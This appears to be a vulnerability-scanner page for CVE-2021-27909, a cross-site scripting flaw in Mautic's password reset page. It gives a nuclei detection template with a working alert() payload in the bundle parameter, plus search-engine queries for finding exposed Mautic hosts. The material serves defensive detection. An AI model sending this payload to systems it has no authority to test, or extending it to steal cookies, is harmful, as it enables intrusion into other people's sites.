Mautic <3.3.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade Mautic to version 3.3.4 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='
Positive when: contains "'';alert(document.domain);var ok='" and "mauticBasePath" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-27909 -u <target>

The full check

id: CVE-2021-27909

info:
  name: Mautic <3.3.4 - Cross-Site Scripting
  author: kiransau
  severity: medium
  description: Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade Mautic to version 3.3.4 or later to mitigate this vulnerability.
  reference:
    - https://github.com/mautic/mautic/security/advisories/GHSA-32hw-3pvh-vcvc
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27909
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27909
    cwe-id: CWE-79
    epss-score: 0.04067
    epss-percentile: 0.90759
    cpe: cpe:2.3:a:acquia:mautic:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: acquia
    product: mautic
    shodan-query:
      - title:"Mautic"
      - http.title:"mautic"
    fofa-query: title="mautic"
    google-query: intitle:"mautic"
  tags: cve2021,cve,mautic,xss,acquia,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'';alert(document.domain);var ok='"
          - 'mauticBasePath'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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